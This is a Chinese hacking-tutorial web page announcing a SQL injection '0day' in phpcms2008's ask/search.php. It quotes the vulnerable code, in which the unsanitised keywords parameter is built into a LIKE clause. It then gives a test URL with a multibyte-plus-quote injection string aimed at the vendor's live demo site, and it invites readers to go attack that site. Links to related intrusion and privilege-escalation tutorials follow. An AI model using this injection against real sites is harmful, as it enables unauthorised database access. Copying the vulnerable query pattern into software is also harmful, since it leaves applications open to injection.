手机
当前位置:查字典教程网 >网络安全 >黑客教程 >phpcms2008注射0day
phpcms2008注射0day
摘要:中秋节到了,这里我送上phpcms2008的一枚注射漏洞!!希望各位朋友多多支持本站啊~~漏洞存在于ask/search.php文件,以下是...

中秋节到了,这里我送上phpcms2008的一枚注射漏洞!!希望各位朋友多多支持本站啊~~

漏洞存在于ask/search.php文件,以下是漏洞代码:

if($keywords)

{

$where .= " AND title LIKE '%$keywords%'";

}

$infos = $ask->listinfo($where, 'askid DESC', $page, 20);

下面我们来看看listinfo()过程的代码:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)

{

if($where) $where = " WHERE $where";

if($order) $order = " ORDER BY $order";

$page = max(intval($page), 1);

$offset = $pagesize*($page-1);

$limit = " LIMIT $offset, $pagesize";

$r = $this->db->get_one("SELECT count(*) as number FROM $this->table $where");

Oh yeah!!注射漏洞就这么产生了,以下是测试语句:

http://demo.phpcms.cn/ask/search.php?keywords=蟎'

这是官方的演示站~~有兴趣的自己去叼~~88

【phpcms2008注射0day】相关文章:

分析黑客使用Web进行攻击的10大原因

139入侵简易教程

服务器 提权方法大全

详解嗅探(被动嗅探)与ARP欺骗(主动嗅探)

教你如何解决无法显示验证码的问题

DNS欺骗

分析cookies的注入方法和原理

对Linux服务器的四种入侵级别

IP欺骗原理精解及防范手段综述

教你黑客侦察和隐藏IP地址的方法

精品推荐
分类导航